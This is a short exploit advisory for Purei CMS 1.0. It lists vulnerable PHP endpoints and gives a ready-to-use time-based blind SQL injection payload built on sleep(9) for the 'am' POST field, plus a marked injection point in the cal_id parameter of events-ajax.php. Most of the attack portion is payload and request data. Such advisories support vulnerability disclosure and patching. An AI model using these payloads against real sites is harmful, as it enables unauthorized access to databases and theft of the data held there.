Purei CMS 1.0 - SQL Injection

# Exploit Title: Purei CMS 1.0 - SQL Injection
# Date: [27-03-2024]
# Exploit Author: [Number 7]
# Vendor Homepage: [purei.com]
# Version: [1.0]
# Tested on: [Linux]
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Introduction:
An SQL injection vulnerability permits attackers to modify backend SQL statements through manipulation 
of user input. Such an injection transpires when web applications accept user input directly inserted 
into an SQL statement without effectively filtering out hazardous characters.

This could jeopardize the integrity of your database or reveal sensitive information.
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Time-Based Blind SQL Injection:
Vulnerable files:
http://localhost/includes/getAllParks.php
http://localhost/includes/getSearchMap.php

make a POST request with the value of the am input set to :  

	if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ 

make sure to url encode the inputs.	
SQL injection:
Method: POST REQUEST

Vunerable file:

/includes/events-ajax.php?action=getMonth
data for the POST req:
month=3&type=&year=2024&cal_id=1[Inject Here]